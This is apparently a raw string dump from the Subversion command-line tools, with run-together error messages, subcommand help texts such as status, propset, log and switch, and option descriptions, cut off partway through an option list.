Only diffs between a path's text-base and its working files are supported at this timeOnly one revision allowedOnly relative paths can be specified after a URLOperation does not apply to binary fileOperation does not apply to directoryOperation does not support multiple sourcesOption --tunnel-user is only valid in tunnel mode.
Output the content of specified files or
URLs with revision and author information in-line.
usage: blame TARGET[@REV]...

  If specified, REV determines in which revision the target is first
  looked up.
Output the content of specified files or URLs.
usage: cat TARGET[@REV]...

  If specified, REV determines in which revision the target is first
  looked up.
Owner: %s
PIN for token "%s" in slot "%s"Packing shard %s...Pass contents of file ARG as additional argsPassphrase for '%s': Password for '%s' GNOME keyring: Password for '%s': Path '%s' already existsPath '%s' already exists, but is not a directoryPath '%s' contains '.' or '..' elementPath '%s' does not existPath '%s' does not exist in revision %ldPath '%s' doesn't exist in HEAD revisionPath '%s' doesn't exist in revision %ldPath '%s' ends in '%s', which is unsupported for this operationPath '%s' has no committed revisionPath '%s' is already locked by user '%s' in filesystem '%s'Path '%s' is no longer a member of a changelist.
Path '%s' is not a URLPath '%s' is not a directoryPath '%s' is not a filePath '%s' is not in UTF-8Path '%s' is not in the working copyPath '%s' is now a member of changelist '%s'.
Path '%s' isn't locked.
Path '%s' must be an immediate child of the directory '%s'Path '%s' not found in head revisionPath '%s' not found in revision %ldPath '%s' not presentPath has no lock tokenPath is already lockedPath is not a stringPath is not a working copy directoryPath is not a working copy filePath is not an immediate child of the specified directoryPath is not lockedPath syntax not supported in this contextPath: %s
Pathname not terminated by ':'Peg revision must precede end revisionPlease type 'yes' or 'no': Premature EOF seen from serverPremature end of content data in dumpstreamPrint the status of working copy files and directories.
usage: status [PATH...]

  With no args, print only locally modified items (no network access).
  With -q, print only summary information about locally modified items.
  With -u, add working revision and server out-of-date information.
  With -v, print full revision information on every item.

  The first seven columns in the output are each one character wide:
    First column: Says if item was added, deleted, or otherwise changed
      ' ' no modifications
      'A' Added
      'C' Conflicted
      'D' Deleted
      'I' Ignored
      'M' Modified
      'R' Replaced
      'X' an unversioned directory created by an externals definition
      '?' item is not under version control
      '!' item is missing (removed by non-svn command) or incomplete
      '~' versioned item obstructed by some item of a different kind
    Second column: Modifications of a file's or directory's properties
      ' ' no modifications
      'C' Conflicted
      'M' Modified
    Third column: Whether the working copy directory is locked
      ' ' not locked
      'L' locked
    Fourth column: Scheduled commit will contain addition-with-history
      ' ' no history scheduled with commit
      '+' history scheduled with commit
    Fifth column: Whether the item is switched or a file external
      ' ' normal
      'S' the item has a Switched URL relative to the parent
      'X' a versioned file created by an eXternals definition
    Sixth column: Repository lock token
      (without -u)
      ' ' no lock token
      'K' lock token present
      (with -u)
      ' ' not locked in repository, no lock token
      'K' locked in repository, lock toKen present
      'O' locked in repository, lock token in some Other working copy
      'T' locked in repository, lock token present but sTolen
      'B' not locked in repository, lock token present but Broken
    Seventh column: Whether the item is the victim of a tree conflict
      ' ' normal
      'C' tree-Conflicted
    If the item is a tree conflict victim, an additional line is printed
    after the item's status line, explaining the nature of the conflict.

  The out-of-date information appears in the ninth column (with -u):
      '*' a newer revision exists on the server
      ' ' the working copy is up to date

  Remaining fields are variable width and delimited by spaces:
    The working revision (with -u or -v)
    The last committed revision and last committed author (with -v)
    The working copy path is always the final field, so it can
      include spaces.

  Example output:
    svn status wc
     M     wc/bar.c
    A  +   wc/qax.c

    svn status -u wc
     M           965    wc/bar.c
           *     965    wc/foo.c
    A  +         965    wc/qax.c
    Status against revision:   981

    svn status --show-updates --verbose wc
     M           965       938 kfogel       wc/bar.c
           *     965       922 sussman      wc/foo.c
    A  +         965       687 joe          wc/qax.c
                 965       687 joe          wc/zig.c
    Status against revision:   981

    svn status
     M      wc/bar.c
    !     C wc/qaz.c
          >   incoming edit, local missing
    D       wc/qax.c
Print the value of a property on files, dirs, or revisions.
usage: 1. propget PROPNAME [TARGET[@REV]...]
       2. propget PROPNAME --revprop -r REV [TARGET]

  1. Prints versioned props. If specified, REV determines in which
     revision the target is first looked up.
  2. Prints unversioned remote prop on repos revision.
     TARGET only determines which repository to access.

  By default, this subcommand will add an extra newline to the end
  of the property values so that the output looks pretty.  Also,
  whenever there are multiple paths involved, each property value
  is prefixed with the path with which it is associated.  Use the
  --strict option to disable these beautifications (useful when
  redirecting a binary property value to a file, but available only
  if you supply a single TARGET to a non-recursive propget operation).
Problem on first log entry in a working copyProblem running logProcess '%s' failed (exitwhy %d)Process '%s' returned error exitcode %dProp diffs element not a listProperties on '%s':
Property '%s' is an entry propertyProperty '%s' is not a regular propertyProperty '%s' not found on path '%s' in revision %ldProperty '%s' not found on path '%s' in transaction %sProperty '%s' not found on revision %ldProperty not foundProplist element not a listProtocol error: the MERGE response for the '%s' resource did not return all of the properties that we asked for (and need to complete the commit)Protocol error: we told the server not to auto-merge any resources, but it said that '%s' was mergedPut files and directories under version control, scheduling
them for addition to repository.  They will be added in next commit.
usage: add PATH...
Python exception has been set with the errorQuerying mergeinfo requires version %d of the FSFS filesystem schema; filesystem '%s' uses only version %dRA layer didn't receive requested OPTIONS infoRA layer failed to create HTTP requestRA layer failed to fetch propertiesRA layer failed to init socket layerRA layer file already existsRA layer request failedREPORT response handling failed to complete the editor driveREVISION   PATH
--------   ----
REVISION   PATH <ID>
--------   ---------
Ran out of unique namesRange list parsing ended before hitting newlineRead access denied for root of editRead error in pipeReading '%s'Reading from stdin is disallowedReading one svndiff window read beyond the end of the representationRecovery encountered a deltified directory representationRecovery encountered a non-directory nodeRecursively clean up the working copy, removing locks, resuming
unfinished operations, etc.
usage: cleanup [PATH...]
Reference to non-existent node '%s' in filesystem '%s'Reintegrate can only be used if revisions %ld through %ld were previously merged from %s to the reintegrate source, but this is not the case:
%sRelative source revision %ld is not available in current repositoryRelocate can only change the repository part of an URLRemove 'conflicted' state on working copy files or directories.
usage: resolved PATH...

  Note:  this subcommand does not semantically resolve conflicts or
  remove conflict markers; it merely removes the conflict-related
  artifact files and allows PATH to be committed again.  It has been
  deprecated in favor of running 'svn resolve --accept working'.
Remove a property from files, dirs, or revisions.
usage: 1. propdel PROPNAME [PATH...]
       2. propdel PROPNAME --revprop -r REV [TARGET]

  1. Removes versioned props in working copy.
  2. Removes unversioned remote prop on repos revision.
     TARGET only determines which repository to access.
Remove files and directories from version control.
usage: 1. delete PATH...
       2. delete URL...

  1. Each item specified by a PATH is scheduled for deletion upon
    the next commit.  Files, and directories that have not been
    committed, are immediately removed from the working copy
    unless the --keep-local option is given.
    PATHs that are, or contain, unversioned or modified items will
    not be removed unless the --force option is given.

  2. Each item specified by a URL is deleted from the repository
    via an immediate commit.
Remove revisions emptied by filtering.Removed lock on '%s'.
Removing '%s' from changelist '%s'.Renumber revisions left after filtering.Rep '%s' both mutable and non-fulltextRep '%s' is not mutableRep contents are too large: got %s, limit is %sReplacing      %s
Repository '%s' is not initialized for synchronizationRepository Root: %s
Repository URL required when importingRepository UUID '%s' doesn't match expected UUID '%s'Repository UUID does not match expected UUIDRepository UUID: %s
Repository access is needed for this operationRepository access method not implementedRepository argument requiredRepository argument required
Repository creation failedRepository has been movedRepository has no UUIDRepository has not been enabled to accept revision propchanges;
ask the administrator to create a pre-revprop-change hookRepository lock acquired.
Please wait; recovering the repository may take some time...
Repository lock acquired.
Please wait; upgrading the repository may take some time...
Repository moved permanently to '%s'; please relocateRepository moved temporarily to '%s'; please relocateRepository root URL does not match expected root URLRepository upgrade is not supportedRepresentation is being writtenRepresentation is not of type 'delta'Representation key for checksum '%%s' exists in filesystem '%%s', with different value (%%ld,%%%s,%%%s,%%%s) than what we were about to store(%%ld,%%%s,%%%s,%%%s)Representation key for checksum '%s' exists in filesystem '%s'.Request depth 'exclude' not supportedReserved directory name in command line argumentsResolve conflicts on working copy files or directories.
usage: resolve --accept=ARG [PATH...]

  Note:  the --accept option is currently required.
Resolved conflicted state of '%s'
Resource is not under version control.Restore pristine working copy file (undo most local edits).
usage: revert PATH...

  Note:  this subcommand does not require network access, and resolves
  any conflicted states.  However, it does not restore removed directories.
Restored '%s'
Retrieval of mergeinfo unsupported by '%s'Reverted '%s'
Revision %ld committed as %ld.
Revision %ld doesn't match existing revision %ld in '%s'Revision %ld has a non-file where its revprops file should beRevision %ld has a revs file but no revprops fileRevision %ld skipped.
Revision being currently copied (%ld), last merged revision (%ld), and destination HEAD (%ld) are inconsistent; have you committed to the destination without using svnsync?Revision entry not a listRevision file '%s' does not exist, and r%ld is not packedRevision file lacks trailing newlineRevision property '%s' not allowed in this contextRevision property pair is emptyRevision range is not allowedRevision type requires a working copy path, not a URLRevision: %ld
Revisions must not be greater than the youngest revision (%ld)Revisions renumbered as follows:
Revprop changeRoot object must be a transaction rootSHA1 checksum mismatch on rep '%s':
   expected:  %s
     actual:  %s
SQLite compiled for %s, but running with %sSQLite errorSQLite is required to be compiled and run in thread-safe modeSSL is not supportedSafe data '%s' was followed by non-ASCII byte %d: unable to convert to/from UTF-8Schedule: add
Schedule: delete
Schedule: normal
Schedule: replace
Schema format %d not recognizedScope not allowed in memcache server '%s'Second revision requiredSelect: (p) postponeSelect: (p) postpone, (mf) mine-full, (tf) theirs-full, (h) help:Send changes from your working copy to the repository.
usage: commit [PATH...]

  A log message must be provided, but it can be empty.  If it is not
  given by a --message or --file option, an editor will be started.
  If any targets are (or contain) locked items, those will be
  unlocked after a successful commit.
Sending        %s
Server SSL certificate untrustedServer can only replay from the root of a repositoryServer did not send repository rootServer does not support custom revprops via logServer does not support date-based operationsServer does not support edit pipeliningServer does not support locking featuresServer does not support retrieving information about the repository rootServer doesn't support setting arbitrary revision properties during commitServer doesn't support the get-lock commandServer doesn't support the lock commandServer doesn't support the replay commandServer doesn't support the replay-range commandServer doesn't support the unlock commandServer only supports versions up to %dServer requires minimum version %dServer response missing the expected deadprop-count propertyServer sent unexpected return value (%d %s) in response to %s request for '%s'Session is rooted at '%s' but the repos root is '%s'Set new value for property '%s' on '%s'
Set new value for property '%s' on revision %ld
Set the value of a property on files, dirs, or revisions.
usage: 1. propset PROPNAME PROPVAL PATH...
       2. propset PROPNAME --revprop -r REV PROPVAL [TARGET]

  1. Changes a versioned file or directory property in a working copy.
  2. Changes an unversioned property on a repository revision.
     (TARGET only determines which repository to access.)

  The value may be provided with the --file option instead of PROPVAL.

  Note: svn recognizes the following special versioned properties
  but will store any arbitrary properties set:
    svn:ignore     - A newline separated list of file glob patterns to ignore.
    svn:keywords   - Keywords to be expanded.  Valid keywords are:
      URL, HeadURL             - The URL for the head version of the object.
      Author, LastChangedBy    - The last person to modify the file.
      Date, LastChangedDate    - The date/time the object was last modified.
      Rev, Revision,           - The last revision the object changed.
      LastChangedRevision
      Id                       - A compressed summary of the previous
                                   4 keywords.
      Header                   - Similar to Id but includes the full URL.
    svn:executable - If present, make the file executable.  Use
      'svn propdel svn:executable PATH...' to clear.
    svn:eol-style  - One of 'native', 'LF', 'CR', 'CRLF'.
    svn:mime-type  - The mimetype of the file.  Used to determine
      whether to merge the file, and how to serve it from Apache.
      A mimetype beginning with 'text/' (or an absent mimetype) is
      treated as text.  Anything else is treated as binary.
    svn:externals  - A newline separated list of module specifiers,
      each of which consists of a relative directory path, optional
      revision flags and an URL.  The ordering of the three elements
      implements different behavior.  Subversion 1.4 and earlier only
      support the following formats and the URLs cannot have peg
      revisions:
        foo             http://example.com/repos/zig
        foo/bar -r 1234 http://example.com/repos/zag
      Subversion 1.5 and greater support the above formats and the
      following formats where the URLs may have peg revisions:
                http://example.com/repos/zig foo
        -r 1234 http://example.com/repos/zig foo/bar
      Relative URLs are supported in Subversion 1.5 and greater for
      all above formats and are indicated by starting the URL with one
      of the following strings
        ../  to the parent directory of the extracted external
        ^/   to the repository root
        //   to the scheme
        /    to the server root
      The ambiguous format 'relative_path relative_path' is taken as
      'relative_url relative_path' with peg revision support.
    svn:needs-lock - If present, indicates that the file should be locked
      before it is modified.  Makes the working copy file read-only
      when it is not locked.  Use 'svn propdel svn:needs-lock PATH...'
      to clear.

  The svn:keywords, svn:executable, svn:eol-style, svn:mime-type and
  svn:needs-lock properties cannot be set on a directory.  A non-recursive
  attempt will fail, and a recursive attempt will set the property
  only on the file children of the directory.
Setting property '%s' on non-local target '%s' is not supportedSetting property on non-local target '%s' needs a base revisionSetting property recursively on non-local target '%s' is not supportedShow the log messages for a set of revision(s) and/or file(s).
usage: 1. log [PATH]
       2. log URL[@REV] [PATH...]

  1. Print the log messages for a local PATH (default: '.').
     The default revision range is BASE:1.

  2. Print the log messages for the PATHs (default: '.') under URL.
     If specified, REV determines in which revision the URL is first
     looked up, and the default revision range is REV:1; otherwise,
     the URL is looked up in HEAD, and the default revision range is
     HEAD:1.

  Multiple '-c' or '-r' options may be specified (but not a
  combination of '-c' and '-r' options), and mixing of forward and
  reverse ranges is allowed.

  With -v, also print all affected paths with each log message.
  With -q, don't print the log message body itself (note that this is
  compatible with -v).

  Each log message is printed just once, even if more than one of the
  affected paths for that revision were explicitly requested.  Logs
  follow copy history by default.  Use --stop-on-copy to disable this
  behavior, which can be useful for determining branchpoints.

  Examples:
    svn log
    svn log foo.c
    svn log http://www.example.com/repo/project/foo.c
    svn log http://www.example.com/repo/project foo.c bar.c
Size of uncompressed data does not match stored original lengthSkip missing merge sources.Skipped '%s'
Skipped missing target: '%s'
Skipping binary file: '%s'
Something is wrong with the log message's contentsSorry, svn_client_diff4 was called in a way that is not yet supportedSource  leftSource '%s' is not a directorySource Repository UUID: %s
Source URL '%s' is from foreign repository; leaving it as a disjoint WCSource URL: %s
Source and dest appear not to be in the same repository (src: '%s'; dst: '%s')Source rightSource url '%s' is from different repositorySpecial code for wrapping server errors to report to clientStandard properties can't be set explicitly as revision propertiesStart revision %ld is greater than end revision %ldStart revision must precede end revisionStatus against revision: %6ld
Storage of non-regular property '%s' is disallowed through the repository interface, and could indicate a bug in your clientStore passphrase unencrypted (yes/no)? Store password unencrypted (yes/no)? Strict output of property values only available for single-target, non-recursive propget operationsString does not represent a node or node-rev-idString length larger than maximumSubcommand '%s' doesn't accept option '%s'
Type 'svn help %s' for usage.
Subcommand '%s' doesn't accept option '%s'
Type 'svnadmin help %s' for usage.
Subcommand '%s' doesn't accept option '%s'
Type 'svndumpfilter help %s' for usage.
Subcommand '%s' doesn't accept option '%s'
Type 'svnlook help %s' for usage.
Subcommand '%s' doesn't accept option '%s'
Type 'svnsync help %s' for usage.
Subcommand argument required
Subversion is a tool for version control.
For additional information, see http://subversion.tigris.org/
Successful edit status returned too soonSuccessor id '%s' (for '%s') already exists in filesystem '%s'Sum of subblock sizes larger than total block content lengthSummarizing diff can only compare repository to repositorySummary of conflicts in external item:
Summary of conflicts:
Svndiff compressed data is invalidSvndiff contains corrupt window headerSvndiff data contains backward-sliding source viewSvndiff data contains corrupt windowSvndiff data contains invalid instructionSvndiff data ends unexpectedlySvndiff data has invalid headerSvndiff has backwards-sliding source viewsSvndiff has invalid headerSvndiff source length inconsistencySymbolic links are not supported on this platformSyntax error in native-eol argument '%s'Syntax error in revision argument '%s'Syntax error parsing revision '%s'Target lists to diff may not contain both working copy paths and URLsTarget path '%s' does not existTest failedTest skippedText Last UpdatedText delta chunk not a stringThe %s request returned invalid XML in the response: %s (%s)The '%s' feature requires version %d of the filesystem schema; filesystem '%s' uses only version %dThe '--transaction' (-t) and '--revision' (-r) arguments cannot co-existThe CHECKOUT response did not contain a 'Location:' headerThe EDITOR, SVN_EDITOR or VISUAL environment variable or 'editor-cmd' run-time configuration option is empty or consists solely of whitespace. Expected a shell command.The MERGE property response had an error statusThe OPTIONS request returned invalid XML in the response: %s (%s)The OPTIONS response did not include the requested activity-collection-set valueThe OPTIONS response did not include the requested activity-collection-set; this often means that the URL is not WebDAV-enabledThe OPTIONS response did not include the requested baseline-collection valueThe OPTIONS response did not include the requested checked-in valueThe OPTIONS response did not include the requested resourcetype valueThe OPTIONS response did not include the requested version-controlled-configuration valueThe OPTIONS response did not include the requested version-name valueThe PROPFIND response did not include the requested resourcetype valueThe SVN_MERGE environment variable is empty or consists solely of whitespace. Expected a shell command.
The URL '%s' has a different repository root than its parentThe UUID property was not found on the resource or any of its parentsThe VCC property was not found on the resourceThe environment variable SVN_MERGE and the merge-tool-cmd run-time configuration option were not set.
The external relative URL '%s' cannot have backpaths, i.e. '..'The file '%s' changed unexpectedly during diffThe file external from '%s' cannot be written to '%s' while '%s' remains in conflictThe file external from '%s' cannot overwrite the existing versioned item at '%s'The file-revs report didn't contain any revisionsThe following repository access (RA) modules are available:

The following repository back-end (FS) modules are available:

The generated transaction name is too longThe get-file-revs command didn't return any revisionsThe latest repos revision is %ld.
The location for '%s' for revision %ld does not exist in the repository or refers to an unrelated objectThe lock comment is a pathname (was -F intended?); use '--force-log' to overrideThe log message file is under version controlThe log message is a pathnameThe log message is a pathname (was -F intended?); use '--force-log' to overrideThe operation was interruptedThe path was not part of a repositoryThe relative-path property was not found on the resourceThe repository at '%s' has uuid '%s', but the WC has '%s'The repository is locked, perhaps for db recoveryThe request response contained at least one errorThe response contains a non-conforming HTTP status lineThe root directory cannot be deletedThe service failed to startThe service failed to start; an internal error occurred while starting the serviceThe specified diff option is not supportedThe specified transaction is not mutableThere is already a versioned item '%s'There is no change 0They want to change the property value to '%s', you want to delete the property.
They want to delete the property, you want to change the value to '%s'.
This client is too old to work with working copy '%s'.  You need
to get a newer Subversion client, or to downgrade this working copy.
See http://subversion.tigris.org/faq.html#working-copy-format-change
for details.This is an empty revision for padding.To turn off the %s property, use 'svn propdel';
setting the property to '%s' will not turn it off.Token '%s' does not point to any existing lock in filesystem '%s'Too many arguments givenToo many arguments to import commandToo many nested itemsTransaction '%s' is not based on a revision; how oddTransaction '%s' out-of-date with respect to revision '%s'Transaction '%s' removed.
Transaction aborted, but cleanup failedTransaction cleanup failedTransaction is deadTransaction is dead: '%s'Transaction is not deadTransaction is not dead: '%s'Transaction is out of dateTransaction out of dateTransmitting file data Traversal of '%s' found no ambient depthTree conflictTried a versioning operation on an unversioned resourceTried to change an immutable representationTry 'svn add' or 'svn add --non-recursive' instead?Try 'svn help' for more infoTry 'svn mkdir --parents' instead?Try 'svn revert --depth infinity' instead?Try 'svnadmin help' for more infoTry 'svndumpfilter help' for more infoTry 'svnlook help' for more infoTry 'svnsync help' for more infoTrying to add new property '%s' with value '%s',
but property already exists with value '%s'.Trying to change property '%s' from '%s' to '%s',
but it has been locally deleted.Trying to change property '%s' from '%s' to '%s',
but property already exists with value '%s'.Trying to change property '%s' from '%s' to '%s',
but property has been locally added with value '%s'.Trying to change property '%s' from '%s' to '%s',
but the property does not exist.Trying to change property '%s' from '%s' to '%s',
but the property has been locally changed from '%s' to '%s'.Trying to create property '%s' with value '%s',
but it has been locally deleted.Trying to delete property '%s' with value '%s'
but it has been modified from '%s' to '%s'.Trying to delete property '%s' with value '%s'
but the local value is '%s'.Trying to use an unsupported featureTunnel scheme %s requires environment variable %s to be definedTwo top-level reports with no targetTwo versioned resources are unrelatedType '%s --help' for usage.
Type '%s help' for usage.
Type 'svnversion --help' for usage.
URL '%s' at revision %ld doesn't existURL '%s' at revision %ld is not a file or a directoryURL '%s' contains a '..' elementURL '%s' does not begin with a schemeURL '%s' doesn't existURL '%s' doesn't match existing URL '%s' in '%s'URL '%s' is malformed or the scheme or host or path is missingURL '%s' is not a child of repository root URL '%s'URL '%s' is not a child of the session's repository root URL '%s'URL '%s' is not properly URI-encodedURL '%s' non-existent in revision %ldURL '%s' non-existent in that revisionURL '%s' of existing directory '%s' does not match expected URL '%s'URL '%s' of existing file '%s' does not match expected URL '%s'URL '%s' refers to a directoryURL '%s' refers to a file, not a directoryURL access forbidden for unknown reasonURL has no scheme: '%s'URL: %s
URLs have no scheme ('%s' and '%s')UUID Token: %s
UUID mismatch: existing directory '%s' was checked out from a different repositoryUUID mismatch: existing file '%s' was checked out from a different repositoryUnable to check path existence for '%s'Unable to create transaction directory in '%s' for revision %ldUnable to extract data from response headerUnable to find repository location for '%s' in revision %ldUnable to locate auth fileUnable to lock '%s'Unable to lock/unlock across multiple repositoriesUnable to make any directoriesUnable to make name for '%s'Unable to open an ra_local session to URLUnable to open auth file for readingUnable to open auth file for writingUnable to open repository '%s'Unable to open root of editUnable to parse URL '%s'Unable to parse overlapping revision ranges '%s' and '%s' with different inheritance typesUnable to parse reversed revision range '%ld-%ld'Unable to parse revision range '%ld-%ld' with same start and end revisionsUndefined tunnel scheme '%s'Unexpected EOF on streamUnexpected EOF writing contentsUnexpected end of entryUnexpected end of svndiff inputUnexpected immutable node at '%s'Unexpected node kind %d for '%s'Unexpected node kind foundUnexpected or unknown property kindUnexpected server response to authenticationUnexpectedly found '%s': path is marked 'missing'Unknown FS typeUnknown FS type '%s'Unknown XML encoding: '%s'Unknown authorization methodUnknown changelistUnknown command '%s'Unknown command: '%s'
Unknown entry kind for '%s'Unknown enumeration value in tree conflict descriptionUnknown error adding server to memcacheUnknown error creating apr_memcache_tUnknown error creating memcache serverUnknown hostname '%s'Unknown kind for noderev in cache: '%c'Unknown memcached error while readingUnknown memcached error while writingUnknown node kind for '%s'Unknown node kind for representation '%s'Unknown node type in cache: '%c'Unknown or unexpected kind for path '%s'Unknown or unversionable type for '%s'Unknown revprop word '%s' in log commandUnknown status '%s' in command responseUnknown status for lock commandUnknown status for unlock commandUnknown svn protocol commandUnknown svn_node_kindUnlockUnlock request failed: %d %sUnlock response not a listUnlock succeeded, but post-unlock hook failedUnlock working copy paths or URLs.
usage: unlock TARGET...

  Use --force to break the lock.
Unmergeable scheduling requested on an entryUnreadable path encountered; access deniedUnrecognized URL scheme '%s'Unrecognized URL scheme for '%s'Unrecognized binary data encoding; can't decodeUnrecognized file in argument of --config-optionUnrecognized format for the relative external URL '%s'Unrecognized line ending styleUnrecognized line ending style for '%s'Unrecognized logfile element '%s' in '%s'Unrecognized node kind: '%s'Unrecognized node-action on node '%s'Unrecognized record type in streamUnrecognized revision type requested for '%s'Unrecognized stream dataUnspecified error messageUnsupported FS formatUnsupported FS loader version (%d) for bdbUnsupported FS loader version (%d) for fsfsUnsupported RA loader version (%d) for ra_localUnsupported RA loader version (%d) for ra_neonUnsupported RA loader version (%d) for ra_serfUnsupported RA loader version (%d) for ra_svnUnsupported RA plugin ABI versionUnsupported checksum typeUnsupported dumpfile version: %dUnsupported node kind for path '%s'Unsupported report depth '%s'Unsupported repository versionUnsupported schema found in SQLite dbUnsupported working copy formatUnterminated ID in cacheUnversioned properties on revision %ld:
Update complete.
Update the working copy to a different URL.
usage: 1. switch URL[@PEGREV] [PATH]
       2. switch --relocate FROM TO [PATH...]

  1. Update the working copy to mirror a new URL within the repository.
     This behavior is similar to 'svn update', and is the way to
     move a working copy to a branch or tag within the same repository.
     If specified, PEGREV determines in which revision the target is first
     looked up.

     If --force is used, unversioned obstructing paths in the working
     copy do not automatically cause a failure if the switch attempts to
     add the same path.  If the obstructing path is the same type (file
     or directory) as the corresponding path in the repository it becomes
     versioned but its contents are left 'as-is' in the working copy.
     This means that an obstructing directory's unversioned children may
     also obstruct and become versioned.  For files, any content differences
     between the obstruction and the repository are treated like a local
     modification to the working copy.  All properties from the repository
     are applied to the obstructing path.

     Use the --set-depth option to set a new working copy depth on the
     targets of this operation.  Currently, the depth of a working copy
     directory can only be increased (telescoped more deeply); you cannot
     make a directory more shallow.

  2. Rewrite working copy URL metadata to reflect a syntactic change only.
     This is used when repository's root URL changes (such as a scheme
     or hostname change) but your working copy still reflects the same
     directory within the same repository.

  See also 'svn help update' for a list of possible characters
  reporting the action taken.
Updated external to revision %ld.
Updated to revision %ld.
Upgrade of this repository is not supported; consider dumping and loading the data elsewhereUpgrade of this repository's underlying versioned filesystem is not supported; consider dumping and loading the data elsewhereUse --force to override this restrictionUse of two URLs is not compatible with mergeinfo modificationUser %s does not own lock on path '%s' (currently locked by %s)User '%s' is trying to use a lock owned by '%s' in filesystem '%s'Username does not match lock ownerUsername: Valid UTF-8 data
(hex:%s)
followed by invalid UTF-8 sequence
(hex:%s)Value will not be set unless forcedVersion file format not correctVersion mismatch in '%s': found %d.%d.%d%s, expected %d.%d.%d%sWARNING: Referencing data in revision %ld, which is older than the oldest
WARNING: dumped revision (%ld).  Loading this dump into an empty repository
WARNING: will fail.
Waiting on repository lock; perhaps another process has it open?
When specifying working copy paths, only one target may be givenWhile preparing '%s' for commitWindows service mode (Service Control Manager)Working copy '%s' is not lockedWorking copy '%s' lockedWorking copy and merge source not ready for reintegrationWorking copy format of '%s' is too old (%d); please check out your working copy againWorking copy is corruptWorking copy is not up-to-dateWorking copy not locked; this is probably a bug, please reportWorking copy path '%s' does not exist in repositoryWorking copy text base is corruptWrite denied:  not authorized to read all of revision %ldWrite errorWrite-lock stolen in '%s'Wrong number of targets specifiedWrong or unexpected property valueXML data was not well-formedXML parser failed in '%s'You must specify exactly one of -d, -i, -t or -X.
You must specify exactly one of -d, -i, -t, --service or -X.
Your .svn/tmp directory may be missing or corrupt; run 'svn cleanup' and try againYour commit message was left in a temporary file:[Error output could not be read.][Error output could not be translated from the native locale to UTF-8.]accept unknown SSL server certificates without
                             prompting (but only with '--non-interactive')addadd intermediate parentsallocating new copy ID (getting 'next-key')allocating new node ID (getting 'next-key')allocating new representation (getting next-key)allocating new representation reuse ID (getting 'next-key')apr memcache library not availableauthorization failedauthorization failed: %sbe verboseblame of the WORKING revision is not supportedbumping next copy keybumping next node ID keybumping next representation keybypass the repository hook systemcall hook after changing revision propertycall hook before changing revision propertycall post-commit hook after committing revisionscall pre-commit hook before committing revisionscannot assign with 'with-revprop' option (drop the '=')closing changes cursorconnect to source repository with password ARGconnect to source repository with username ARGconnect to sync repository with password ARGconnect to sync repository with username ARGcould not connect to servercreating changecreating cursor for reading a stringcreating cursor for reading changesdaemon modedeletedeleting changesdeleting entry from 'copies' tabledeleting entry from 'nodes' tabledeleting representationdescend recursively, same as --depth=infinitydirdisable automatic log file removal [Berkeley DB]disable automatic propertiesdisable fsync at transaction commit [Berkeley DB]display this helpdisplay update informationdisregard default and svn:ignore property ignoresdo no interactive promptingdo not cache authentication tokensdo not cross copies while traversing historydo not output the trailing newlinedo not print differences for added filesdo not print differences for deleted filesdon't delete changelists after commitdon't unlock the targetsdone.
dump incrementallyeditempty mergeinfo
empty mergeinfo catalog
enable automatic propertiesexported%sfetching changesfileforce operation to runforce read only, overriding repository config fileforce validity of lock comment sourceforce validity of log message sourcegeneral usage: svnadmin SUBCOMMAND REPOS_PATH  [ARGS & OPTIONS ...]
Type 'svnadmin help <subcommand>' for help on a specific subcommand.
Type 'svnadmin --version' to see the program version and FS modules.

Available subcommands:
general usage: svndumpfilter SUBCOMMAND [ARGS & OPTIONS ...]
Type 'svndumpfilter help <subcommand>' for help on a specific subcommand.
Type 'svndumpfilter --version' to see the program version.

Available subcommands:
general usage: svnlook SUBCOMMAND REPOS_PATH [ARGS & OPTIONS ...]
Note: any subcommand which takes the '--revision' and '--transaction'
      options will, if invoked without one of those options, act on
      the repository's youngest revision.
Type 'svnlook help <subcommand>' for help on a specific subcommand.
Type 'svnlook --version' to see the program version and FS modules.

Available subcommands:
general usage: svnsync SUBCOMMAND DEST_URL  [ARGS & OPTIONS ...]
Type 'svnsync help <subcommand>' for help on a specific subcommand.
Type 'svnsync --version' to see the program version and RA modules.

Available subcommands:
get repository uuidgive output suitable for concatenationignore ancestry when calculating mergesignore any repos UUID found in the streamignore externals definitionsinetd modeinvalid 'accept' ARGkeep path in working copylast changed rather than current revisionslimit operation by depth ARG ('empty', 'files',
                            'immediates', or 'infinity')listen hostname or IP address
                             [mode: daemon, listen-once]listen hostname or IP address
                             [mode: daemon, service, listen-once]listen port
                             [mode: daemon, listen-once]listen port
                             [mode: daemon, service, listen-once]listen-once mode (useful for debugging)load at specified directory in repositorylocal %s, incoming %s upon %slump-merge all of source URL's unmerged changesmake intermediate directoriesmark revisions as merged (use with -r)maximum number of history entriesmaximum number of log entriesmergemissingmissing --accept optionnext-id file corruptnono parent with copyfrom information found above '%s'no progress (only errors) to stderrnonenotice ancestry when calculating differencesobsolete; try --depth=files or --depth=immediatesobstructionoperate on a revision property (use with -r or -t)operate on a revision property (use with -r)operate on single directory onlyoperate only on members of changelist ARG
                             [aliases: --cl]output in XMLpass contents of file ARG as additional argsprint as little as possibleprint differences against the copy sourceprint extra informationprint nothing, or only summary informationproperty '%s' deleted from '%s'.
property '%s' deleted from repository revision %ld
property '%s' set on '%s'
property '%s' set on repository revision %ld
read configuration from file ARGread lock comment from file ARGread log message from file ARGread property value from file ARGread user configuration files from directory ARGreading copyreading filesystem revisionreading node revisionreading representationrelocate via URL-rewritingremove changelist associationremove redundant Berkeley DB log files
                             from source repository [Berkeley DB]retrieve all revision propertiesretrieve no revision propertiesretrieve revision property ARGrevprop '%s' in r%ld has unexpected value in repository (maybe someone else changed it?)revprop '%s' in r%ld is unexpectedly absent in repository (maybe someone else deleted it?)revprop '%s' in r%ld is unexpectedly present in repository (maybe someone else set it?)root of directory to serverun in foreground (useful for debugging)
                             [mode: daemon]set new working copy depth to ARG ('empty',
                            'exclude', 'files', 'immediates', or 'infinity')set repos UUID to that found in stream, if anyset repository uuidset revision property ARG in new revision
                             using the name[=value] formatset user configuration option in the format:
                                 FILE:SECTION:OPTION=[VALUE]
                             For example:
                                 servers:global:http-library=serf
show a summary of the resultsshow details for copiesshow full paths instead of indenting themshow help on a subcommandshow node revision ids for each pathshow program version informationspecify a password ARGspecify a password ARG (deprecated;
                             see --source-password and --sync-password)specify a username ARGspecify a username ARG (deprecated;
                             see --source-username and --sync-username)specify automatic conflict resolution action
                            ('postpone', 'base', 'mine-conflict',
                             'theirs-conflict', 'mine-full', 'theirs-full',
                             'edit', 'launch')specify automatic conflict resolution source
                            ('base', 'working', 'mine-conflict',
